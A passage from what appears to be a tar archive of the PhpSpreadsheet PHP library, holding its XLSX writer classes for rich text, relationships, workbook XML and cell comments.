'rFont'); $objWriter->writeAttribute('val', $element->getFont()->getName()); $objWriter->endElement(); } // Bold $objWriter->startElement($prefix . 'b'); $objWriter->writeAttribute('val', ($element->getFont()->getBold() ? 'true' : 'false')); $objWriter->endElement(); // Italic $objWriter->startElement($prefix . 'i'); $objWriter->writeAttribute('val', ($element->getFont()->getItalic() ? 'true' : 'false')); $objWriter->endElement(); // Superscript / subscript if ($element->getFont()->getSuperscript() || $element->getFont()->getSubscript()) { $objWriter->startElement($prefix . 'vertAlign'); if ($element->getFont()->getSuperscript()) { $objWriter->writeAttribute('val', 'superscript'); } elseif ($element->getFont()->getSubscript()) { $objWriter->writeAttribute('val', 'subscript'); } $objWriter->endElement(); } // Strikethrough $objWriter->startElement($prefix . 'strike'); $objWriter->writeAttribute('val', ($element->getFont()->getStrikethrough() ? 'true' : 'false')); $objWriter->endElement(); // Color if ($element->getFont()->getColor()->getARGB() !== null) { $objWriter->startElement($prefix . 'color'); $objWriter->writeAttribute('rgb', $element->getFont()->getColor()->getARGB()); $objWriter->endElement(); } // Size if ($element->getFont()->getSize() !== null) { $objWriter->startElement($prefix . 'sz'); $objWriter->writeAttribute('val', (string) $element->getFont()->getSize()); $objWriter->endElement(); } // Underline if ($element->getFont()->getUnderline() !== null) { $objWriter->startElement($prefix . 'u'); $objWriter->writeAttribute('val', $element->getFont()->getUnderline()); $objWriter->endElement(); } $objWriter->endElement(); } // t $objWriter->startElement($prefix . 't'); $objWriter->writeAttribute('xml:space', 'preserve'); $objWriter->writeRawData(StringHelper::controlCharacterPHP2OOXML($element->getText())); $objWriter->endElement(); $objWriter->endElement(); } } /** * Write Rich Text. * * @param RichText|string $richText text string or Rich text * @param string $prefix Optional Namespace prefix */ public function writeRichTextForCharts(XMLWriter $objWriter, $richText = null, string $prefix = ''): void { if (!($richText instanceof RichText)) { $textRun = $richText; $richText = new RichText(); $run = $richText->createTextRun($textRun ?? ''); $run->setFont(null); } if ($prefix !== '') { $prefix .= ':'; } // Loop through rich text elements $elements = $richText->getRichTextElements(); foreach ($elements as $element) { // r $objWriter->startElement($prefix . 'r'); if ($element->getFont() !== null) { // rPr $objWriter->startElement($prefix . 'rPr'); $fontSize = $element->getFont()->getSize(); if (is_numeric($fontSize)) { $fontSize *= (($fontSize < 100) ? 100 : 1); $objWriter->writeAttribute('sz', (string) $fontSize); } // Bold $objWriter->writeAttribute('b', ($element->getFont()->getBold() ? '1' : '0')); // Italic $objWriter->writeAttribute('i', ($element->getFont()->getItalic() ? '1' : '0')); // Underline $underlineType = $element->getFont()->getUnderline(); switch ($underlineType) { case 'single': $underlineType = 'sng'; break; case 'double': $underlineType = 'dbl'; break; } if ($underlineType !== null) { $objWriter->writeAttribute('u', $underlineType); } // Strikethrough $objWriter->writeAttribute('strike', ($element->getFont()->getStriketype() ?: 'noStrike')); // Superscript/subscript if ($element->getFont()->getBaseLine()) { $objWriter->writeAttribute('baseline', (string) $element->getFont()->getBaseLine()); } // Color $this->writeChartTextColor($objWriter, $element->getFont()->getChartColor(), $prefix); // Underscore Color $this->writeChartTextColor($objWriter, $element->getFont()->getUnderlineColor(), $prefix, 'uFill'); // fontName if ($element->getFont()->getLatin()) { $objWriter->startElement($prefix . 'latin'); $objWriter->writeAttribute('typeface', $element->getFont()->getLatin()); $objWriter->endElement(); } if ($element->getFont()->getEastAsian()) { $objWriter->startElement($prefix . 'ea'); $objWriter->writeAttribute('typeface', $element->getFont()->getEastAsian()); $objWriter->endElement(); } if ($element->getFont()->getComplexScript()) { $objWriter->startElement($prefix . 'cs'); $objWriter->writeAttribute('typeface', $element->getFont()->getComplexScript()); $objWriter->endElement(); } $objWriter->endElement(); } // t $objWriter->startElement($prefix . 't'); $objWriter->writeRawData(StringHelper::controlCharacterPHP2OOXML($element->getText())); $objWriter->endElement(); $objWriter->endElement(); } } private function writeChartTextColor(XMLWriter $objWriter, ?ChartColor $underlineColor, string $prefix, ?string $openTag = ''): void { if ($underlineColor !== null) { $type = $underlineColor->getType(); $value = $underlineColor->getValue(); if (!empty($type) && !empty($value)) { if ($openTag !== '') { $objWriter->startElement($prefix . $openTag); } $objWriter->startElement($prefix . 'solidFill'); $objWriter->startElement($prefix . $type); $objWriter->writeAttribute('val', $value); $alpha = $underlineColor->getAlpha(); if (is_numeric($alpha)) { $objWriter->startElement('a:alpha'); $objWriter->writeAttribute('val', ChartColor::alphaToXml((int) $alpha)); $objWriter->endElement(); } $objWriter->endElement(); // srgbClr/schemeClr/prstClr $objWriter->endElement(); // solidFill if ($openTag !== '') { $objWriter->endElement(); // uFill } } } } /** * Flip string table (for index searching). * * @param array $stringTable Stringtable */ public function flipStringTable(array $stringTable): array { // Return value $returnValue = []; // Loop through stringtable and add flipped items to $returnValue foreach ($stringTable as $key => $value) { if (!$value instanceof RichText) { $returnValue[$value] = $key; } elseif ($value instanceof RichText) { $returnValue[$value->getHashCode()] = $key; } } return $returnValue; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Writer/Xlsx/Rels.php000064400000041577151676714400021115 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Writer\Xlsx; use PhpOffice\PhpSpreadsheet\Reader\Xlsx\Namespaces; use PhpOffice\PhpSpreadsheet\Shared\XMLWriter; use PhpOffice\PhpSpreadsheet\Spreadsheet; use PhpOffice\PhpSpreadsheet\Worksheet\BaseDrawing; use PhpOffice\PhpSpreadsheet\Worksheet\MemoryDrawing; use PhpOffice\PhpSpreadsheet\Writer\Exception as WriterException; class Rels extends WriterPart { /** * Write relationships to XML format. * * @return string XML Output */ public function writeRelationships(Spreadsheet $spreadsheet): string { // Create XML writer $objWriter = null; if ($this->getParentWriter()->getUseDiskCaching()) { $objWriter = new XMLWriter(XMLWriter::STORAGE_DISK, $this->getParentWriter()->getDiskCachingDirectory()); } else { $objWriter = new XMLWriter(XMLWriter::STORAGE_MEMORY); } // XML header $objWriter->startDocument('1.0', 'UTF-8', 'yes'); // Relationships $objWriter->startElement('Relationships'); $objWriter->writeAttribute('xmlns', Namespaces::RELATIONSHIPS); $customPropertyList = $spreadsheet->getProperties()->getCustomProperties(); if (!empty($customPropertyList)) { // Relationship docProps/app.xml $this->writeRelationship( $objWriter, 4, Namespaces::RELATIONSHIPS_CUSTOM_PROPERTIES, 'docProps/custom.xml' ); } // Relationship docProps/app.xml $this->writeRelationship( $objWriter, 3, Namespaces::RELATIONSHIPS_EXTENDED_PROPERTIES, 'docProps/app.xml' ); // Relationship docProps/core.xml $this->writeRelationship( $objWriter, 2, Namespaces::CORE_PROPERTIES, 'docProps/core.xml' ); // Relationship xl/workbook.xml $this->writeRelationship( $objWriter, 1, Namespaces::OFFICE_DOCUMENT, 'xl/workbook.xml' ); // a custom UI in workbook ? $target = $spreadsheet->getRibbonXMLData('target'); if ($spreadsheet->hasRibbon()) { $this->writeRelationShip( $objWriter, 5, Namespaces::EXTENSIBILITY, is_string($target) ? $target : '' ); } $objWriter->endElement(); return $objWriter->getData(); } /** * Write workbook relationships to XML format. * * @return string XML Output */ public function writeWorkbookRelationships(Spreadsheet $spreadsheet): string { // Create XML writer $objWriter = null; if ($this->getParentWriter()->getUseDiskCaching()) { $objWriter = new XMLWriter(XMLWriter::STORAGE_DISK, $this->getParentWriter()->getDiskCachingDirectory()); } else { $objWriter = new XMLWriter(XMLWriter::STORAGE_MEMORY); } // XML header $objWriter->startDocument('1.0', 'UTF-8', 'yes'); // Relationships $objWriter->startElement('Relationships'); $objWriter->writeAttribute('xmlns', Namespaces::RELATIONSHIPS); // Relationship styles.xml $this->writeRelationship( $objWriter, 1, Namespaces::STYLES, 'styles.xml' ); // Relationship theme/theme1.xml $this->writeRelationship( $objWriter, 2, Namespaces::THEME2, 'theme/theme1.xml' ); // Relationship sharedStrings.xml $this->writeRelationship( $objWriter, 3, Namespaces::SHARED_STRINGS, 'sharedStrings.xml' ); // Relationships with sheets $sheetCount = $spreadsheet->getSheetCount(); for ($i = 0; $i < $sheetCount; ++$i) { $this->writeRelationship( $objWriter, ($i + 1 + 3), Namespaces::WORKSHEET, 'worksheets/sheet' . ($i + 1) . '.xml' ); } // Relationships for vbaProject if needed // id : just after the last sheet if ($spreadsheet->hasMacros()) { $this->writeRelationShip( $objWriter, ($i + 1 + 3), Namespaces::VBA, 'vbaProject.bin' ); ++$i; //increment i if needed for an another relation } $objWriter->endElement(); return $objWriter->getData(); } /** * Write worksheet relationships to XML format. * * Numbering is as follows: * rId1 - Drawings * rId_hyperlink_x - Hyperlinks * * @param bool $includeCharts Flag indicating if we should write charts * @param int $tableRef Table ID * * @return string XML Output */ public function writeWorksheetRelationships(\PhpOffice\PhpSpreadsheet\Worksheet\Worksheet $worksheet, int $worksheetId = 1, bool $includeCharts = false, int $tableRef = 1, array &$zipContent = []): string { // Create XML writer $objWriter = null; if ($this->getParentWriter()->getUseDiskCaching()) { $objWriter = new XMLWriter(XMLWriter::STORAGE_DISK, $this->getParentWriter()->getDiskCachingDirectory()); } else { $objWriter = new XMLWriter(XMLWriter::STORAGE_MEMORY); } // XML header $objWriter->startDocument('1.0', 'UTF-8', 'yes'); // Relationships $objWriter->startElement('Relationships'); $objWriter->writeAttribute('xmlns', Namespaces::RELATIONSHIPS); // Write drawing relationships? $drawingOriginalIds = []; $unparsedLoadedData = $worksheet->getParentOrThrow()->getUnparsedLoadedData(); if (isset($unparsedLoadedData['sheets'][$worksheet->getCodeName()]['drawingOriginalIds'])) { $drawingOriginalIds = $unparsedLoadedData['sheets'][$worksheet->getCodeName()]['drawingOriginalIds']; } if ($includeCharts) { $charts = $worksheet->getChartCollection(); } else { $charts = []; } if (($worksheet->getDrawingCollection()->count() > 0) || (count($charts) > 0) || $drawingOriginalIds) { $rId = 1; // Use original $relPath to get original $rId. // Take first. In future can be overwritten. // (! synchronize with \PhpOffice\PhpSpreadsheet\Writer\Xlsx\Worksheet::writeDrawings) reset($drawingOriginalIds); $relPath = key($drawingOriginalIds); if (isset($drawingOriginalIds[$relPath])) { $rId = (int) (substr($drawingOriginalIds[$relPath], 3)); } // Generate new $relPath to write drawing relationship $relPath = '../drawings/drawing' . $worksheetId . '.xml'; $this->writeRelationship( $objWriter, $rId, Namespaces::RELATIONSHIPS_DRAWING, $relPath ); } $backgroundImage = $worksheet->getBackgroundImage(); if ($backgroundImage !== '') { $rId = 'Bg'; $uniqueName = md5(mt_rand(0, 9999) . time() . mt_rand(0, 9999)); $relPath = "../media/$uniqueName." . $worksheet->getBackgroundExtension(); $this->writeRelationship( $objWriter, $rId, Namespaces::IMAGE, $relPath ); $zipContent["xl/media/$uniqueName." . $worksheet->getBackgroundExtension()] = $backgroundImage; } // Write hyperlink relationships? $i = 1; foreach ($worksheet->getHyperlinkCollection() as $hyperlink) { if (!$hyperlink->isInternal()) { $this->writeRelationship( $objWriter, '_hyperlink_' . $i, Namespaces::HYPERLINK, $hyperlink->getUrl(), 'External' ); ++$i; } } // Write comments relationship? $i = 1; if (count($worksheet->getComments()) > 0 || isset($unparsedLoadedData['sheets'][$worksheet->getCodeName()]['legacyDrawing'])) { $this->writeRelationship( $objWriter, '_comments_vml' . $i, Namespaces::VML, '../drawings/vmlDrawing' . $worksheetId . '.vml' ); } if (count($worksheet->getComments()) > 0) { $this->writeRelationship( $objWriter, '_comments' . $i, Namespaces::COMMENTS, '../comments' . $worksheetId . '.xml' ); } // Write Table $tableCount = $worksheet->getTableCollection()->count(); for ($i = 1; $i <= $tableCount; ++$i) { $this->writeRelationship( $objWriter, '_table_' . $i, Namespaces::RELATIONSHIPS_TABLE, '../tables/table' . $tableRef++ . '.xml' ); } // Write header/footer relationship? $i = 1; if (count($worksheet->getHeaderFooter()->getImages()) > 0) { $this->writeRelationship( $objWriter, '_headerfooter_vml' . $i, Namespaces::VML, '../drawings/vmlDrawingHF' . $worksheetId . '.vml' ); } $this->writeUnparsedRelationship($worksheet, $objWriter, 'ctrlProps', Namespaces::RELATIONSHIPS_CTRLPROP); $this->writeUnparsedRelationship($worksheet, $objWriter, 'vmlDrawings', Namespaces::VML); $this->writeUnparsedRelationship($worksheet, $objWriter, 'printerSettings', Namespaces::RELATIONSHIPS_PRINTER_SETTINGS); $objWriter->endElement(); return $objWriter->getData(); } private function writeUnparsedRelationship(\PhpOffice\PhpSpreadsheet\Worksheet\Worksheet $worksheet, XMLWriter $objWriter, string $relationship, string $type): void { $unparsedLoadedData = $worksheet->getParentOrThrow()->getUnparsedLoadedData(); if (!isset($unparsedLoadedData['sheets'][$worksheet->getCodeName()][$relationship])) { return; } foreach ($unparsedLoadedData['sheets'][$worksheet->getCodeName()][$relationship] as $rId => $value) { if (!str_starts_with($rId, '_headerfooter_vml')) { $this->writeRelationship( $objWriter, $rId, $type, $value['relFilePath'] ); } } } /** * Write drawing relationships to XML format. * * @param int $chartRef Chart ID * @param bool $includeCharts Flag indicating if we should write charts * * @return string XML Output */ public function writeDrawingRelationships(\PhpOffice\PhpSpreadsheet\Worksheet\Worksheet $worksheet, int &$chartRef, bool $includeCharts = false): string { // Create XML writer $objWriter = null; if ($this->getParentWriter()->getUseDiskCaching()) { $objWriter = new XMLWriter(XMLWriter::STORAGE_DISK, $this->getParentWriter()->getDiskCachingDirectory()); } else { $objWriter = new XMLWriter(XMLWriter::STORAGE_MEMORY); } // XML header $objWriter->startDocument('1.0', 'UTF-8', 'yes'); // Relationships $objWriter->startElement('Relationships'); $objWriter->writeAttribute('xmlns', Namespaces::RELATIONSHIPS); // Loop through images and write relationships $i = 1; $iterator = $worksheet->getDrawingCollection()->getIterator(); while ($iterator->valid()) { $drawing = $iterator->current(); if ( $drawing instanceof \PhpOffice\PhpSpreadsheet\Worksheet\Drawing || $drawing instanceof MemoryDrawing ) { // Write relationship for image drawing $this->writeRelationship( $objWriter, $i, Namespaces::IMAGE, '../media/' . $drawing->getIndexedFilename() ); $i = $this->writeDrawingHyperLink($objWriter, $drawing, $i); } $iterator->next(); ++$i; } if ($includeCharts) { // Loop through charts and write relationships $chartCount = $worksheet->getChartCount(); if ($chartCount > 0) { for ($c = 0; $c < $chartCount; ++$c) { $this->writeRelationship( $objWriter, $i++, Namespaces::RELATIONSHIPS_CHART, '../charts/chart' . ++$chartRef . '.xml' ); } } } $objWriter->endElement(); return $objWriter->getData(); } /** * Write header/footer drawing relationships to XML format. * * @return string XML Output */ public function writeHeaderFooterDrawingRelationships(\PhpOffice\PhpSpreadsheet\Worksheet\Worksheet $worksheet): string { // Create XML writer $objWriter = null; if ($this->getParentWriter()->getUseDiskCaching()) { $objWriter = new XMLWriter(XMLWriter::STORAGE_DISK, $this->getParentWriter()->getDiskCachingDirectory()); } else { $objWriter = new XMLWriter(XMLWriter::STORAGE_MEMORY); } // XML header $objWriter->startDocument('1.0', 'UTF-8', 'yes'); // Relationships $objWriter->startElement('Relationships'); $objWriter->writeAttribute('xmlns', Namespaces::RELATIONSHIPS); // Loop through images and write relationships foreach ($worksheet->getHeaderFooter()->getImages() as $key => $value) { // Write relationship for image drawing $this->writeRelationship( $objWriter, $key, Namespaces::IMAGE, '../media/' . $value->getIndexedFilename() ); } $objWriter->endElement(); return $objWriter->getData(); } public function writeVMLDrawingRelationships(\PhpOffice\PhpSpreadsheet\Worksheet\Worksheet $worksheet): string { // Create XML writer $objWriter = null; if ($this->getParentWriter()->getUseDiskCaching()) { $objWriter = new XMLWriter(XMLWriter::STORAGE_DISK, $this->getParentWriter()->getDiskCachingDirectory()); } else { $objWriter = new XMLWriter(XMLWriter::STORAGE_MEMORY); } // XML header $objWriter->startDocument('1.0', 'UTF-8', 'yes'); // Relationships $objWriter->startElement('Relationships'); $objWriter->writeAttribute('xmlns', Namespaces::RELATIONSHIPS); // Loop through images and write relationships foreach ($worksheet->getComments() as $comment) { if (!$comment->hasBackgroundImage()) { continue; } $bgImage = $comment->getBackgroundImage(); $this->writeRelationship( $objWriter, $bgImage->getImageIndex(), Namespaces::IMAGE, '../media/' . $bgImage->getMediaFilename() ); } $objWriter->endElement(); return $objWriter->getData(); } /** * Write Override content type. * * @param int|string $id Relationship ID. rId will be prepended! * @param string $type Relationship type * @param string $target Relationship target * @param string $targetMode Relationship target mode */ private function writeRelationship(XMLWriter $objWriter, $id, string $type, string $target, string $targetMode = ''): void { if ($type != '' && $target != '') { // Write relationship $objWriter->startElement('Relationship'); $objWriter->writeAttribute('Id', 'rId' . $id); $objWriter->writeAttribute('Type', $type); $objWriter->writeAttribute('Target', $target); if ($targetMode != '') { $objWriter->writeAttribute('TargetMode', $targetMode); } $objWriter->endElement(); } else { throw new WriterException('Invalid parameters passed.'); } } private function writeDrawingHyperLink(XMLWriter $objWriter, BaseDrawing $drawing, int $i): int { if ($drawing->getHyperlink() === null) { return $i; } ++$i; $this->writeRelationship( $objWriter, $i, Namespaces::HYPERLINK, $drawing->getHyperlink()->getUrl(), $drawing->getHyperlink()->getTypeHyperlink() ); return $i; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Writer/Xlsx/Workbook.php000064400000017535151676714400022002 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Writer\Xlsx; use PhpOffice\PhpSpreadsheet\Reader\Xlsx\Namespaces; use PhpOffice\PhpSpreadsheet\Shared\Date; use PhpOffice\PhpSpreadsheet\Shared\XMLWriter; use PhpOffice\PhpSpreadsheet\Spreadsheet; use PhpOffice\PhpSpreadsheet\Writer\Exception as WriterException; use PhpOffice\PhpSpreadsheet\Writer\Xlsx\DefinedNames as DefinedNamesWriter; class Workbook extends WriterPart { /** * Write workbook to XML format. * * @param bool $recalcRequired Indicate whether formulas should be recalculated before writing * * @return string XML Output */ public function writeWorkbook(Spreadsheet $spreadsheet, bool $recalcRequired = false): string { // Create XML writer if ($this->getParentWriter()->getUseDiskCaching()) { $objWriter = new XMLWriter(XMLWriter::STORAGE_DISK, $this->getParentWriter()->getDiskCachingDirectory()); } else { $objWriter = new XMLWriter(XMLWriter::STORAGE_MEMORY); } // XML header $objWriter->startDocument('1.0', 'UTF-8', 'yes'); // workbook $objWriter->startElement('workbook'); $objWriter->writeAttribute('xml:space', 'preserve'); $objWriter->writeAttribute('xmlns', Namespaces::MAIN); $objWriter->writeAttribute('xmlns:r', Namespaces::SCHEMA_OFFICE_DOCUMENT); // fileVersion $this->writeFileVersion($objWriter); // workbookPr $this->writeWorkbookPr($objWriter); // workbookProtection $this->writeWorkbookProtection($objWriter, $spreadsheet); // bookViews if ($this->getParentWriter()->getOffice2003Compatibility() === false) { $this->writeBookViews($objWriter, $spreadsheet); } // sheets $this->writeSheets($objWriter, $spreadsheet); // definedNames (new DefinedNamesWriter($objWriter, $spreadsheet))->write(); // calcPr $this->writeCalcPr($objWriter, $recalcRequired); $objWriter->endElement(); // Return return $objWriter->getData(); } /** * Write file version. */ private function writeFileVersion(XMLWriter $objWriter): void { $objWriter->startElement('fileVersion'); $objWriter->writeAttribute('appName', 'xl'); $objWriter->writeAttribute('lastEdited', '4'); $objWriter->writeAttribute('lowestEdited', '4'); $objWriter->writeAttribute('rupBuild', '4505'); $objWriter->endElement(); } /** * Write WorkbookPr. */ private function writeWorkbookPr(XMLWriter $objWriter): void { $objWriter->startElement('workbookPr'); if (Date::getExcelCalendar() === Date::CALENDAR_MAC_1904) { $objWriter->writeAttribute('date1904', '1'); } $objWriter->writeAttribute('codeName', 'ThisWorkbook'); $objWriter->endElement(); } /** * Write BookViews. */ private function writeBookViews(XMLWriter $objWriter, Spreadsheet $spreadsheet): void { // bookViews $objWriter->startElement('bookViews'); // workbookView $objWriter->startElement('workbookView'); $objWriter->writeAttribute('activeTab', (string) $spreadsheet->getActiveSheetIndex()); $objWriter->writeAttribute('autoFilterDateGrouping', ($spreadsheet->getAutoFilterDateGrouping() ? 'true' : 'false')); $objWriter->writeAttribute('firstSheet', (string) $spreadsheet->getFirstSheetIndex()); $objWriter->writeAttribute('minimized', ($spreadsheet->getMinimized() ? 'true' : 'false')); $objWriter->writeAttribute('showHorizontalScroll', ($spreadsheet->getShowHorizontalScroll() ? 'true' : 'false')); $objWriter->writeAttribute('showSheetTabs', ($spreadsheet->getShowSheetTabs() ? 'true' : 'false')); $objWriter->writeAttribute('showVerticalScroll', ($spreadsheet->getShowVerticalScroll() ? 'true' : 'false')); $objWriter->writeAttribute('tabRatio', (string) $spreadsheet->getTabRatio()); $objWriter->writeAttribute('visibility', $spreadsheet->getVisibility()); $objWriter->endElement(); $objWriter->endElement(); } /** * Write WorkbookProtection. */ private function writeWorkbookProtection(XMLWriter $objWriter, Spreadsheet $spreadsheet): void { if ($spreadsheet->getSecurity()->isSecurityEnabled()) { $objWriter->startElement('workbookProtection'); $objWriter->writeAttribute('lockRevision', ($spreadsheet->getSecurity()->getLockRevision() ? 'true' : 'false')); $objWriter->writeAttribute('lockStructure', ($spreadsheet->getSecurity()->getLockStructure() ? 'true' : 'false')); $objWriter->writeAttribute('lockWindows', ($spreadsheet->getSecurity()->getLockWindows() ? 'true' : 'false')); if ($spreadsheet->getSecurity()->getRevisionsPassword() != '') { $objWriter->writeAttribute('revisionsPassword', $spreadsheet->getSecurity()->getRevisionsPassword()); } if ($spreadsheet->getSecurity()->getWorkbookPassword() != '') { $objWriter->writeAttribute('workbookPassword', $spreadsheet->getSecurity()->getWorkbookPassword()); } $objWriter->endElement(); } } /** * Write calcPr. * * @param bool $recalcRequired Indicate whether formulas should be recalculated before writing */ private function writeCalcPr(XMLWriter $objWriter, bool $recalcRequired = true): void { $objWriter->startElement('calcPr'); // Set the calcid to a higher value than Excel itself will use, otherwise Excel will always recalc // If MS Excel does do a recalc, then users opening a file in MS Excel will be prompted to save on exit // because the file has changed $objWriter->writeAttribute('calcId', '999999'); $objWriter->writeAttribute('calcMode', 'auto'); // fullCalcOnLoad isn't needed if we've recalculating for the save $objWriter->writeAttribute('calcCompleted', ($recalcRequired) ? '1' : '0'); $objWriter->writeAttribute('fullCalcOnLoad', ($recalcRequired) ? '0' : '1'); $objWriter->writeAttribute('forceFullCalc', ($recalcRequired) ? '0' : '1'); $objWriter->endElement(); } /** * Write sheets. */ private function writeSheets(XMLWriter $objWriter, Spreadsheet $spreadsheet): void { // Write sheets $objWriter->startElement('sheets'); $sheetCount = $spreadsheet->getSheetCount(); for ($i = 0; $i < $sheetCount; ++$i) { // sheet $this->writeSheet( $objWriter, $spreadsheet->getSheet($i)->getTitle(), ($i + 1), ($i + 1 + 3), $spreadsheet->getSheet($i)->getSheetState() ); } $objWriter->endElement(); } /** * Write sheet. * * @param string $worksheetName Sheet name * @param int $worksheetId Sheet id * @param int $relId Relationship ID * @param string $sheetState Sheet state (visible, hidden, veryHidden) */ private function writeSheet(XMLWriter $objWriter, string $worksheetName, int $worksheetId = 1, int $relId = 1, string $sheetState = 'visible'): void { if ($worksheetName != '') { // Write sheet $objWriter->startElement('sheet'); $objWriter->writeAttribute('name', $worksheetName); $objWriter->writeAttribute('sheetId', (string) $worksheetId); if ($sheetState !== 'visible' && $sheetState != '') { $objWriter->writeAttribute('state', $sheetState); } $objWriter->writeAttribute('r:id', 'rId' . $relId); $objWriter->endElement(); } else { throw new WriterException('Invalid parameters passed.'); } } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Writer/Xlsx/Comments.php000064400000020524151676714400021762 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Writer\Xlsx; use PhpOffice\PhpSpreadsheet\Cell\Coordinate; use PhpOffice\PhpSpreadsheet\Comment; use PhpOffice\PhpSpreadsheet\Reader\Xlsx\Namespaces; use PhpOffice\PhpSpreadsheet\Shared\XMLWriter; use PhpOffice\PhpSpreadsheet\Style\Alignment; class Comments extends WriterPart { private const VALID_HORIZONTAL_ALIGNMENT = [ Alignment::HORIZONTAL_CENTER, Alignment::HORIZONTAL_DISTRIBUTED, Alignment::HORIZONTAL_JUSTIFY, Alignment::HORIZONTAL_LEFT, Alignment::HORIZONTAL_RIGHT, ]; /** * Write comments to XML format. * * @return string XML Output */ public function writeComments(\PhpOffice\PhpSpreadsheet\Worksheet\Worksheet $worksheet): string { // Create XML writer $objWriter = null; if ($this->getParentWriter()->getUseDiskCaching()) { $objWriter = new XMLWriter(XMLWriter::STORAGE_DISK, $this->getParentWriter()->getDiskCachingDirectory()); } else { $objWriter = new XMLWriter(XMLWriter::STORAGE_MEMORY); } // XML header $objWriter->startDocument('1.0', 'UTF-8', 'yes'); // Comments cache $comments = $worksheet->getComments(); // Authors cache $authors = []; $authorId = 0; foreach ($comments as $comment) { if (!isset($authors[$comment->getAuthor()])) { $authors[$comment->getAuthor()] = $authorId++; } } // comments $objWriter->startElement('comments'); $objWriter->writeAttribute('xmlns', Namespaces::MAIN); // Loop through authors $objWriter->startElement('authors'); foreach ($authors as $author => $index) { $objWriter->writeElement('author', $author); } $objWriter->endElement(); // Loop through comments $objWriter->startElement('commentList'); foreach ($comments as $key => $value) { $this->writeComment($objWriter, $key, $value, $authors); } $objWriter->endElement(); $objWriter->endElement(); // Return return $objWriter->getData(); } /** * Write comment to XML format. * * @param string $cellReference Cell reference * @param Comment $comment Comment * @param array $authors Array of authors */ private function writeComment(XMLWriter $objWriter, string $cellReference, Comment $comment, array $authors): void { // comment $objWriter->startElement('comment'); $objWriter->writeAttribute('ref', $cellReference); $objWriter->writeAttribute('authorId', $authors[$comment->getAuthor()]); // text $objWriter->startElement('text'); $this->getParentWriter()->getWriterPartstringtable()->writeRichText($objWriter, $comment->getText()); $objWriter->endElement(); $objWriter->endElement(); } /** * Write VML comments to XML format. * * @return string XML Output */ public function writeVMLComments(\PhpOffice\PhpSpreadsheet\Worksheet\Worksheet $worksheet): string { // Create XML writer $objWriter = null; if ($this->getParentWriter()->getUseDiskCaching()) { $objWriter = new XMLWriter(XMLWriter::STORAGE_DISK, $this->getParentWriter()->getDiskCachingDirectory()); } else { $objWriter = new XMLWriter(XMLWriter::STORAGE_MEMORY); } // XML header $objWriter->startDocument('1.0', 'UTF-8', 'yes'); // Comments cache $comments = $worksheet->getComments(); // xml $objWriter->startElement('xml'); $objWriter->writeAttribute('xmlns:v', Namespaces::URN_VML); $objWriter->writeAttribute('xmlns:o', Namespaces::URN_MSOFFICE); $objWriter->writeAttribute('xmlns:x', Namespaces::URN_EXCEL); // o:shapelayout $objWriter->startElement('o:shapelayout'); $objWriter->writeAttribute('v:ext', 'edit'); // o:idmap $objWriter->startElement('o:idmap'); $objWriter->writeAttribute('v:ext', 'edit'); $objWriter->writeAttribute('data', '1'); $objWriter->endElement(); $objWriter->endElement(); // v:shapetype $objWriter->startElement('v:shapetype'); $objWriter->writeAttribute('id', '_x0000_t202'); $objWriter->writeAttribute('coordsize', '21600,21600'); $objWriter->writeAttribute('o:spt', '202'); $objWriter->writeAttribute('path', 'm,l,21600r21600,l21600,xe'); // v:stroke $objWriter->startElement('v:stroke'); $objWriter->writeAttribute('joinstyle', 'miter'); $objWriter->endElement(); // v:path $objWriter->startElement('v:path'); $objWriter->writeAttribute('gradientshapeok', 't'); $objWriter->writeAttribute('o:connecttype', 'rect'); $objWriter->endElement(); $objWriter->endElement(); // Loop through comments foreach ($comments as $key => $value) { $this->writeVMLComment($objWriter, $key, $value); } $objWriter->endElement(); // Return return $objWriter->getData(); } /** * Write VML comment to XML format. * * @param string $cellReference Cell reference, eg: 'A1' * @param Comment $comment Comment */ private function writeVMLComment(XMLWriter $objWriter, string $cellReference, Comment $comment): void { // Metadata [$column, $row] = Coordinate::indexesFromString($cellReference); $id = 1024 + $column + $row; $id = substr("$id", 0, 4); // v:shape $objWriter->startElement('v:shape'); $objWriter->writeAttribute('id', '_x0000_s' . $id); $objWriter->writeAttribute('type', '#_x0000_t202'); $objWriter->writeAttribute('style', 'position:absolute;margin-left:' . $comment->getMarginLeft() . ';margin-top:' . $comment->getMarginTop() . ';width:' . $comment->getWidth() . ';height:' . $comment->getHeight() . ';z-index:1;visibility:' . ($comment->getVisible() ? 'visible' : 'hidden')); $objWriter->writeAttribute('fillcolor', '#' . $comment->getFillColor()->getRGB()); $objWriter->writeAttribute('o:insetmode', 'auto'); // v:fill $objWriter->startElement('v:fill'); $objWriter->writeAttribute('color2', '#' . $comment->getFillColor()->getRGB()); if ($comment->hasBackgroundImage()) { $bgImage = $comment->getBackgroundImage(); $objWriter->writeAttribute('o:relid', 'rId' . $bgImage->getImageIndex()); $objWriter->writeAttribute('o:title', $bgImage->getName()); $objWriter->writeAttribute('type', 'frame'); } $objWriter->endElement(); // v:shadow $objWriter->startElement('v:shadow'); $objWriter->writeAttribute('on', 't'); $objWriter->writeAttribute('color', 'black'); $objWriter->writeAttribute('obscured', 't'); $objWriter->endElement(); // v:path $objWriter->startElement('v:path'); $objWriter->writeAttribute('o:connecttype', 'none'); $objWriter->endElement(); // v:textbox $objWriter->startElement('v:textbox'); $objWriter->writeAttribute('style', 'mso-direction-alt:auto'); // div $objWriter->startElement('div'); $objWriter->writeAttribute('style', 'text-align:left'); $objWriter->endElement(); $objWriter->endElement(); // x:ClientData $objWriter->startElement('x:ClientData'); $objWriter->writeAttribute('ObjectType', 'Note'); // x:MoveWithCells $objWriter->writeElement('x:MoveWithCells', ''); // x:SizeWithCells $objWriter->writeElement('x:SizeWithCells', ''); // x:AutoFill $objWriter->writeElement('x:AutoFill', 'False'); // x:TextHAlign horizontal alignment of text $alignment = strtolower($comment->getAlignment()); if (in_array($alignment, self::VALID_HORIZONTAL_ALIGNMENT, true)) { $objWriter->writeElement('x:TextHAlign', ucfirst($alignment)); } // x:Row $objWriter->writeElement('x:Row', (string) ($row - 1)); // x:Column $objWriter->writeElement('x:Column', (string) ($column - 1)); $objWriter->endElement(); $objWriter->endElement(); } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Writer/Pdf.php000064400000021546151676714400017755 0ustar00<?php namespace 